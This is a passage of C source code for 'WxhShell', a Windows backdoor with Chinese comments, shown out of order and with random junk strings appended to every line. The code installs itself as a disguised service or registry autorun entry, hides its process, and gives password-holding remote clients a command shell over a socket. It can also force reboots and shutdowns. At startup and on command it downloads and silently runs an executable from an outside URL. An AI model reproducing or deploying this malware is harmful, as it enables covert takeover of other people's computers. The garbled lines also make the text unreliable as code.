    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Xo^8o0xi  
    else { 0V%c%]PH  
    closesocket(wsh);  >DL  
    ExitThread(0); B6XO&I1c  
    } N'^>pSc4W|  
    break; | %_C$s%  
    } {f*Y}/@  
  // 获取shell &\zYbGU  
  case 's': { :\](m64z;  
    CmdShell(wsh); `CK~x =  
    closesocket(wsh); %lKw+D  
    ExitThread(0); mrGV{{.  
    break; [X(m[u'%  
  } o7y<Zd`Bj  
  // 退出 Rq4; {a/j  
  case 'x': { %wD#[<BGn>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9t! d.}  
    CloseIt(wsh); uLms0r\@!  
    break; F?L]Dff  
    } y@LImiRG  
  // 离开 _h%Jf{nu  
  case 'q': { &lc@]y8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !_glZ*tL  
    closesocket(wsh); ~$!,-r  
    WSACleanup(); !E7gI qo  
    exit(1); E4#{&sRT  
    break; .5JIQWE(  
        } 6:1`lsP  
  } ci,(]T +!  
  } qLR;:$]Q&8  
1N5 E  
  // 提示信息 +Z#=z,.^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SH*'<  
} 5!0iK9O  
  } $-_" SWG.  
>}k*!J|  
  return; BRFsw`c  
} @kXuC<  
-:}vf?  
// shell模块句柄 o)Q4+njT@  
int CmdShell(SOCKET sock) <O jK $KV  
{ /Qgb t  
STARTUPINFO si; iGW(2.Z  
ZeroMemory(&si,sizeof(si)); m:_#kfC&K"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }OkzP)(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @Z]0c=-+  
PROCESS_INFORMATION ProcessInfo; %p7 ?\>  
char cmdline[]="cmd"; b+s'B4@rb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U$:^^Zt`B  
  return 0; F6{g{ B  
} '! >9j,BJ  
/%YW[oY{V  
// 自身启动模式 nC:T0OJv  
int StartFromService(void) "jZZ>\  
{ 0+&WIs  
typedef struct T*p7[}#  
{ sbvP1|P8%  
  DWORD ExitStatus; ueg%yvO  
  DWORD PebBaseAddress; (o>N*?, }  
  DWORD AffinityMask; +m_ .?V6  
  DWORD BasePriority; }3 /io0"D  
  ULONG UniqueProcessId; AFt- V  
  ULONG InheritedFromUniqueProcessId; 6 `6 I<OJ\  
}   PROCESS_BASIC_INFORMATION; Ust +g4  
}#zL)+XI  
PROCNTQSIP NtQueryInformationProcess; F'~r?D  
9WHE4'Sa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d /jx8(0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <n_? $ TJ  
 2_$8Ga  
  HANDLE             hProcess; \:'GAByy  
  PROCESS_BASIC_INFORMATION pbi; c coi  
x ]VycS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]W3u~T*  
  if(NULL == hInst ) return 0; ~#g c{ C@  
fMwF|;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~'*23]j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zB m~J%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S 1k*"><  
mjOxmwo  
  if (!NtQueryInformationProcess) return 0; ]n=z(2Z9lD  
%>&~?zrq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .p{lzI9  
  if(!hProcess) return 0; TT/=0^"  
#h ud_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5ncW s)  
P]"@3Z&w  
  CloseHandle(hProcess); {F_>cyR  
w !kk(QMV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l|842N@1  
if(hProcess==NULL) return 0; 3SM'vV0[  
padV|hF3(e  
HMODULE hMod; NO/$} vw  
char procName[255]; oVqx)@$K  
unsigned long cbNeeded; Ob%iZ.D|3<  
hgZvti  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W'Gh:73'}  
!yg &zzP*  
  CloseHandle(hProcess); uWGp>;meO  
t<`wK8)  
if(strstr(procName,"services")) return 1; // 以服务启动 %B&O+~  
bSM|"  
  return 0; // 注册表启动 EQnU:a  
} 4 JBfA,  
};2Lrz9<  
// 主模块 "-fyX!  
int StartWxhshell(LPSTR lpCmdLine) \>T1&JT  
{ D _\HX9  
  SOCKET wsl; x8z6 <  
BOOL val=TRUE; daY0;,>  
  int port=0; HH*,Oe   
  struct sockaddr_in door; / /G&=i$  
B8cg[;e81  
  if(wscfg.ws_autoins) Install(); 2+|r*2_glo  
57 Vn-  
port=atoi(lpCmdLine); `U?S 9m  
")boY/ P/w  
if(port<=0) port=wscfg.ws_port; zv1,DnkqF  
vr>J$(F  
  WSADATA data; M#o=.,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z(E .F,k  
8}z PDs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^wIP`dn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q9(O=7O]-  
  door.sin_family = AF_INET; 4pDZ +}p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?#5)TAW  
  door.sin_port = htons(port); NFU=PS$  
G*v,-O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EY1L5 Ba.  
closesocket(wsl); I tn?''~;  
return 1; xoSBMf  
} rI:]''PR  
I1ibrn  
  if(listen(wsl,2) == INVALID_SOCKET) { (_q&QI0{  
closesocket(wsl); a.<!>o<t:  
return 1; ^-}3 +YA  
} Qe<c@i"  
  Wxhshell(wsl); !OH'pC5  
  WSACleanup(); yErvgf  
KueI*\ p  
return 0; 6Hpj&Qm  
]o8~b-  
} piUfvw  
Z*5]qh2r8  
// 以NT服务方式启动 /3vj`#jD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YAF0I%PYU  
{ MU_ >+Wnf  
DWORD   status = 0; 6 dCqS  
  DWORD   specificError = 0xfffffff; HQ|{!P\/?U  
H Lt;1:b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )3_g&&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {' |yb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; In4T`c?kQ  
  serviceStatus.dwWin32ExitCode     = 0; r(=3yd/G$  
  serviceStatus.dwServiceSpecificExitCode = 0; I=`efc]T  
  serviceStatus.dwCheckPoint       = 0; 1<9m^9_ro  
  serviceStatus.dwWaitHint       = 0; dv \ oVD  
@*LESN>T@t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5h(] S[Zf3  
  if (hServiceStatusHandle==0) return; jZY9Lx8o  
cXokq  
status = GetLastError(); esEOV$s}  
  if (status!=NO_ERROR) >G+?X+9  
{ >7V&pH'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V/!8q`lYNJ  
    serviceStatus.dwCheckPoint       = 0; I-q@@! =  
    serviceStatus.dwWaitHint       = 0; ?G-a:'1!6  
    serviceStatus.dwWin32ExitCode     = status; mE]W#?   
    serviceStatus.dwServiceSpecificExitCode = specificError; xH8nn3U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aI8K*D )@  
    return; 93y.u<,2;  
  } bs mnh_YRj  
M:(k7a+[^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tL4xHa6v]  
  serviceStatus.dwCheckPoint       = 0; pr-!otz  
  serviceStatus.dwWaitHint       = 0; vi>V6IC4v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 YBsYKC  
} i_&&7.  
7<?v!vQ}-  
// 处理NT服务事件,比如:启动、停止 |v{ a5|<E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A|@d4+  
{ /$x6//0If  
switch(fdwControl) A! 1>  
{ AuU:613]W8  
case SERVICE_CONTROL_STOP: S?=2GY  
  serviceStatus.dwWin32ExitCode = 0; G";yqG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zUxF"g-W  
  serviceStatus.dwCheckPoint   = 0; [w~1e)D  
  serviceStatus.dwWaitHint     = 0; \d%SC<s  
  { &e% y|{Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *-Y|qS%  
  } p2 y h  
  return; v1zJr6ra9  
case SERVICE_CONTROL_PAUSE: Ph.$]yQCc]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n4CzReG  
  break; 5R,/X  
case SERVICE_CONTROL_CONTINUE: 82V xk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; obX|8hTL%  
  break; 3!CI=(^IY  
case SERVICE_CONTROL_INTERROGATE: G#CWl),=  
  break; B69NL  
}; =J?<M?ugf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <H E'5b  
} L1"X`Pz[}  
4k$BqM1  
// 标准应用程序主函数 8N8B${X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dmrM %a}W-  
{ "Rs^0iT7>  
XUUS N  
// 获取操作系统版本 T0RgCU IV  
OsIsNt=GetOsVer(); 6576RT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NCSb`SC:  
.f&,~$e4  
  // 从命令行安装 4y21v|(9  
  if(strpbrk(lpCmdLine,"iI")) Install(); {q8V  
h.~S^uKi*  
  // 下载执行文件 \&AmX8" [  
if(wscfg.ws_downexe) { -_pI:K[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ";",r^vr\  
  WinExec(wscfg.ws_filenam,SW_HIDE); {u46m  
} eVbHPu4  
ycCEXu2F  
if(!OsIsNt) { bEy j8=P;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fv5@-&y$W  
HideProc(); 0-4WLMx  
StartWxhshell(lpCmdLine); t91v%L   
} d:=5y)  
else O&\;BF5:R  
  if(StartFromService()) m[ txKj.=_  
  // 以服务方式启动 &Cdk%@Tj]B  
  StartServiceCtrlDispatcher(DispatchTable); Ge[N5N>  
else b^5rV5d  
  // 普通方式启动 ; >.>vLF  
  StartWxhshell(lpCmdLine); /_w oCLwQ#  
,uE WnZ"4  
return 0;  @;d(>_n  
} UG48g}  
T3)/?f?|  
sRb)*p'  
H`aqpa"C  
=========================================== 1|n,s-  
~n|*-rca  
-5d8j<,  
f#/v^Ql*  
Ry[VEn>C1  
.v0.wG  
" SAc}5.  
)5)S8~Oc  
#include <stdio.h> K )1K ]  
#include <string.h> ;&^S-+  
#include <windows.h> S#_i<u$$  
#include <winsock2.h> do7 [Nj  
#include <winsvc.h> SpjL\ p0  
#include <urlmon.h> q9yY%  
4vW:xK  
#pragma comment (lib, "Ws2_32.lib") W<u63P  
#pragma comment (lib, "urlmon.lib") l)HF4#Bs  
I%b, H`  
#define MAX_USER   100 // 最大客户端连接数 m(XcPb  
#define BUF_SOCK   200 // sock buffer J/M1#sE  
#define KEY_BUFF   255 // 输入 buffer rM<c;iQ  
Bj;Fy9[yb  
#define REBOOT     0   // 重启 *pyi;  
#define SHUTDOWN   1   // 关机 iAbtv^fn  
,57g_z]V  
#define DEF_PORT   5000 // 监听端口 {SbA(a?B  
8@|+- )t  
#define REG_LEN     16   // 注册表键长度 9L]x9lI;  
#define SVC_LEN     80   // NT服务名长度 iO,0Sb <y  
P+wV.pF|  
// 从dll定义API J,_I$* _0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '|G_C%,B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a7)q^;:O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q4|TwRx~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .&T JSIx$  
b-@6w(j  
// wxhshell配置信息 2N9 BI-a  
struct WSCFG { 's8NO Xlj  
  int ws_port;         // 监听端口 #| `W ]  
  char ws_passstr[REG_LEN]; // 口令 2d>kc2=*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8tK8|t5+  
  char ws_regname[REG_LEN]; // 注册表键名 c_)vWU  
  char ws_svcname[REG_LEN]; // 服务名 k 9R_27F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d>M&jSCL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;l[/<J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pj6Q0h)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cH.T6u_%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xiX~*Zs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BBm.;=8@ ^  
u 3wF)B{  
}; VTa?y  
}"06'  
// default Wxhshell configuration S&Q1Ky^  
struct WSCFG wscfg={DEF_PORT, ,]w -!I  
    "xuhuanlingzhe", 4r\Sbh  
    1, _Z~wpO}/  
    "Wxhshell", aEW Z*y  
    "Wxhshell", E<1^i;F  
            "WxhShell Service", .Kv>*__-Q  
    "Wrsky Windows CmdShell Service", ?g&6l0 n`  
    "Please Input Your Password: ", LS{g=3P0  
  1, Ua#*kTF  
  "http://www.wrsky.com/wxhshell.exe", yb2*K+Kv  
  "Wxhshell.exe" Ka1 F7b  
    }; |{k;p fPV  
i DO`N!  
// 消息定义模块 ?D/r1%Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0|nvi=4~e|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B!K{y>|.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I1=YSi;A  
char *msg_ws_ext="\n\rExit."; R|% 3JE0  
char *msg_ws_end="\n\rQuit."; WW2VW-Hk  
char *msg_ws_boot="\n\rReboot..."; RXkE"H{  
char *msg_ws_poff="\n\rShutdown..."; [-f0s;F1%  
char *msg_ws_down="\n\rSave to "; Z'6 o$Xv  
N+rLbK*  
char *msg_ws_err="\n\rErr!"; aSi:(w  
char *msg_ws_ok="\n\rOK!"; 41>Bm*if  
sTU]ntoQqR  
char ExeFile[MAX_PATH]; CsS0(n(x  
int nUser = 0; EB)j&y_  
HANDLE handles[MAX_USER]; KOv ar0  
int OsIsNt; B< P H7  
?u` ?_us  
SERVICE_STATUS       serviceStatus; z kYl IUD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fw ._  
pOS:/~I3  
// 函数声明 _j-k*:  
int Install(void); #dE#w#=r  
int Uninstall(void); fz31di9$  
int DownloadFile(char *sURL, SOCKET wsh); yc8FEn!)&  
int Boot(int flag); #M&rmKv)g  
void HideProc(void); HuBG?4Qd  
int GetOsVer(void); 6* cm  
int Wxhshell(SOCKET wsl); 8s-RNA>7^  
void TalkWithClient(void *cs); [4]lAxrRF  
int CmdShell(SOCKET sock); x~!B.4gT2  
int StartFromService(void); .*:SZ3v  
int StartWxhshell(LPSTR lpCmdLine); m=Y9sB  
+ _rjA_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^*"&e\+p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ePa:_?(  
h']R P  
// 数据结构和表定义 m <IPi <  
SERVICE_TABLE_ENTRY DispatchTable[] = t }7hD  
{ w-FZ`OA`D  
{wscfg.ws_svcname, NTServiceMain}, 7)O?jc  
{NULL, NULL} @/l{  
}; gF^l`1f"  
8jd<|nYnfc  
// 自我安装 ( t#w@<  
int Install(void) 10_eUQN  
{ m~1{~'  
  char svExeFile[MAX_PATH]; &{9'ylv-B)  
  HKEY key; JiEcPii  
  strcpy(svExeFile,ExeFile); iC?s`c0B  
D QP#h5O  
// 如果是win9x系统,修改注册表设为自启动 5u T 9ssC  
if(!OsIsNt) { wXPNfV<(2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JaKR#Y$+~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lyI rO"o  
  RegCloseKey(key); *yKsgH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >aW|W!.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %eT4Q~}5"  
  RegCloseKey(key); Dx$74~2e  
  return 0; `IOp*8  
    } @g9j+DcU  
  } X_C9Z  
} `~UCWK  
else { Fx4C]S  
leiED'  
// 如果是NT以上系统,安装为系统服务 ;!, ]}2w*X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bR?-B>EB  
if (schSCManager!=0) ~'dnrhdme  
{ 7loCb4Hv  
  SC_HANDLE schService = CreateService Ictc '#y  
  ( 96]lI3 c  
  schSCManager, GsqR8n=  
  wscfg.ws_svcname, B, xrZs  
  wscfg.ws_svcdisp, Y:&1;`FBZ  
  SERVICE_ALL_ACCESS, JmrQDO_(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M$1+,[^f  
  SERVICE_AUTO_START, %2^C  
  SERVICE_ERROR_NORMAL, l<PGUm:_  
  svExeFile, [P OcO  
  NULL, EAF<PMb  
  NULL, U(-9xp+  
  NULL, FRF3V>  
  NULL, '97)c7E  
  NULL Xx:0Nt]  
  ); l"}W $3]u$  
  if (schService!=0) [ w  
  { C@pDX>~2=b  
  CloseServiceHandle(schService); Ptzha?}OZ  
  CloseServiceHandle(schSCManager); SjKIn-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LoOyqJ,  
  strcat(svExeFile,wscfg.ws_svcname); kOVx]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I m_yY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y 97QqQ^  
  RegCloseKey(key); \4K8*`$  
  return 0; TMKemci  
    } cy)L%`(7  
  } +hY/4Tx<  
  CloseServiceHandle(schSCManager); HGWwGd  
} zVxiCyU  
} #Vv*2Mc  
\b.2f+;3  
return 1; < t>N(e  
} =zVbZ7  
;Bc f~[ErM  
// 自我卸载 '0H +2  
int Uninstall(void) Vt n$*ML  
{ 2s-f?WetbP  
  HKEY key; g.DgJX&i  
n.$<D[@  
if(!OsIsNt) { L$ ]D&f8:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m f4@g05  
  RegDeleteValue(key,wscfg.ws_regname); &wNN| fH  
  RegCloseKey(key); z9h`sY~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BTjF^&`  
  RegDeleteValue(key,wscfg.ws_regname); yu#Jw  
  RegCloseKey(key); C1p |.L?m  
  return 0; sN-5vYfC*  
  } X%`8h _  
} Rr%]/%  
} d#ld*\|  
else { g/`i:=  
*sAoYx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =:~~RqHl  
if (schSCManager!=0) v bb mmv  
{ Ma-^o<{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `*}#Bks!  
  if (schService!=0) J'@ I!Jc  
  { !G\1$"T$  
  if(DeleteService(schService)!=0) { U%gP2]t%cs  
  CloseServiceHandle(schService); Vy}:Q[  
  CloseServiceHandle(schSCManager); (~}l?k  
  return 0; jq.@<<j|$  
  } ;-*4 (3lu  
  CloseServiceHandle(schService); xBB:b\  
  } @D0Ut9)  
  CloseServiceHandle(schSCManager); }{iR+M X  
} {zVJlJKxs  
} 3XL0Pm  
N1LR _vS"  
return 1; wfo}TGhC  
} Hd;>k$B  
H[-zQ#I9  
// 从指定url下载文件 s<<vHzm  
int DownloadFile(char *sURL, SOCKET wsh) !m_'<=)B4~  
{ c%xxsq2n  
  HRESULT hr; :+E>Uz T  
char seps[]= "/"; tQ`tHe  
char *token; .YS[Md{  
char *file; K<s\:$VVh  
char myURL[MAX_PATH]; vja^ O  
char myFILE[MAX_PATH]; &2QN^)q  
xg3G  
strcpy(myURL,sURL); \BJnJk!%  
  token=strtok(myURL,seps); ]j1BEO!Bg  
  while(token!=NULL) F+hsIsQ  
  { 7RdL/21K  
    file=token; T*YdGIFO  
  token=strtok(NULL,seps); {Ziq~{W_  
  } |nm,5gPNC  
T( ;BEyc?  
GetCurrentDirectory(MAX_PATH,myFILE); Q|pz].0  
strcat(myFILE, "\\"); (%I`EAR  
strcat(myFILE, file); D.?KgOZ  
  send(wsh,myFILE,strlen(myFILE),0); 7Kh+m@q.  
send(wsh,"...",3,0); ?5/Sa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +d#ZSNu/  
  if(hr==S_OK) 3FNj~=N  
return 0; jriliEz;f  
else VaQ}XM  
return 1; &,e@pvc3  
hTg%T#m  
} ~hM4({/QN  
hP 9+|am%  
// 系统电源模块 *d,SI[c%e  
int Boot(int flag) V2.MZ9  
{ +j`*?pPD(.  
  HANDLE hToken; hV=)T^Q  
  TOKEN_PRIVILEGES tkp; I}?fy\1A&  
lHP[WO  
  if(OsIsNt) { T_\GvSOI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xY_/CR[,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qz/=+A/4  
    tkp.PrivilegeCount = 1; _-^ KqNyy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n*_FC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W6wgX0H  
if(flag==REBOOT) { U)c,ZxE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2abWIw4  
  return 0; ?[VS0IBS  
} \idg[&}l}  
else { m\jp$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (c[|k  
  return 0; L TO1LAac  
} X0 %k`3  
  } Soop)e  
  else { nk6xavQji  
if(flag==REBOOT) { .;$/nz6vk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Olq_wuH  
  return 0; 3YRhqp"E  
} \mv7"TM  
else { A u(Ngq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,gRsbC  
  return 0; w3yI;P  
} mtJI#P  
} 8HTV"60hTs  
)7J@A%u  
return 1; 4Jo:^JV  
} \_BaV0<  
S W  
// win9x进程隐藏模块 }{ 9E~"_[  
void HideProc(void) qW7S<ouh  
{ t ZF G`'/  
zf2]|]*xz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6K* 7%8Y/G  
  if ( hKernel != NULL ) WO_cT26Y  
  { =|uX?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z mYp!B_~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~fQ#-ekzqk  
    FreeLibrary(hKernel); \ Fc"Q@.u  
  } AA yzT*^  
KVqQOh'_T  
return;  aA0aW=R  
} KWhw@y-5j@  
~M43#E[oOF  
// 获取操作系统版本 ks'25tv}F  
int GetOsVer(void) I[&z#foN=w  
{ SAXjB;VH6  
  OSVERSIONINFO winfo; c+-L>dsss  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PZH]9[H  
  GetVersionEx(&winfo); KqaeRs.u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {w{|y[[d~  
  return 1; v,1.n{!;  
  else `@=}5 9+|  
  return 0; }%_x T  
} G4AX8@;U  
&*L:4By)]  
// 客户端句柄模块 ILTd*f  
int Wxhshell(SOCKET wsl) ^K&& O {  
{ Z\O ,9  
  SOCKET wsh; `^(6{p ?  
  struct sockaddr_in client; ugucq},[  
  DWORD myID; Y@RPQPmIQ  
lXL\e(ow  
  while(nUser<MAX_USER) hRGK W  
{ sStaT R{  
  int nSize=sizeof(client); b)'Ew27  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xdp{y =,[  
  if(wsh==INVALID_SOCKET) return 1; ;c<:"ad(  
Qn<J@%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PS(9?rX#+  
if(handles[nUser]==0) /gXli)  
  closesocket(wsh); QoI@/ jLj  
else 8R8J./i.K  
  nUser++; mNm 8I8  
  } ~"brfjd|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T" 8>6a@}E  
f{WJM>$:  
  return 0; 7f[nNng  
} 6"eGd"  
~F>oNbJIv  
// 关闭 socket 6+m)   
void CloseIt(SOCKET wsh) pg*'2AT  
{ @wZ`;J%  
closesocket(wsh); $9Y2\'w<h6  
nUser--; @+B .<@V  
ExitThread(0); Rm)vY}v  
} :#c?`>uV  
SM! [ yC  
// 客户端请求句柄 lb`P9mbr+  
void TalkWithClient(void *cs)  QH9(l  
{ %w6> 3#e  
BAg*zYV7  
  SOCKET wsh=(SOCKET)cs; RE!MX>sOEq  
  char pwd[SVC_LEN]; ,t61IU3"  
  char cmd[KEY_BUFF]; Y5cUOfYT  
char chr[1]; j\!zz  
int i,j; 6bo,x  
u|BD%5+J  
  while (nUser < MAX_USER) { o(C({]UO/  
76$19  
if(wscfg.ws_passstr) { 1S0Hc5vw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^7F!>!9Ca  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d q"b_pr;  
  //ZeroMemory(pwd,KEY_BUFF); )0fQ(3oOg  
      i=0; 0MrtJNF]_O  
  while(i<SVC_LEN) { p^ 9QYR  
7 fqK{^ L  
  // 设置超时 ~e,  
  fd_set FdRead; |C7GI[P  
  struct timeval TimeOut; yTkYPx  
  FD_ZERO(&FdRead); 5j{o0&=_$  
  FD_SET(wsh,&FdRead); T* -*U /  
  TimeOut.tv_sec=8; 4#;rv$ {  
  TimeOut.tv_usec=0; 3,3{wGvHHW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7<|1 xOT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #x)G2T'?  
b (;"p-^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DtXXfp@;  
  pwd=chr[0]; Ml+.\'r  
  if(chr[0]==0xd || chr[0]==0xa) { =h5&\4r=  
  pwd=0; Q:>;d-D|1  
  break; gC<\1AIu  
  } 8Tt2T} Y  
  i++; <)?H98S  
    } X[h=UlF  
@bfaAh~   
  // 如果是非法用户,关闭 socket &=X1kQG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N!9DZEcm  
} P]]9Sqo7  
QRgWzaI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); onG,N1`+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1g2%f9G  
a%Mbq;  
while(1) { q+WOnTS  
[WY NA-O  
  ZeroMemory(cmd,KEY_BUFF); E I)Pfx"0  
\EUc17  
      // 自动支持客户端 telnet标准   o PR^Z pt  
  j=0; _o' jy^  
  while(j<KEY_BUFF) { r_FW)Fu^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (.<Gde#  
  cmd[j]=chr[0]; 8kH'ai  
  if(chr[0]==0xa || chr[0]==0xd) { >pG]#Z g  
  cmd[j]=0; f^:9gRt  
  break; V6BCW;   
  } ,;GW n  
  j++; Uc<B)7{'  
    } i.0}qS?  
:9_K@f?n  
  // 下载文件 `(W V pP?  
  if(strstr(cmd,"http://")) { ,UH`l./3DX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ) ;-AT^  
  if(DownloadFile(cmd,wsh)) PX\}lTJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); csH1X/3ha\  
  else ,yAvLY5 P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /<zBcpVNV  
  } sJt&`kZ  
  else { |+cyb<(V J  
o+/x8:   
    switch(cmd[0]) { YOP=gvZq  
  ; =F^G?p^  
  // 帮助 8l+\Qyj  
  case '?': { '#u |RsZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'n)M0e  
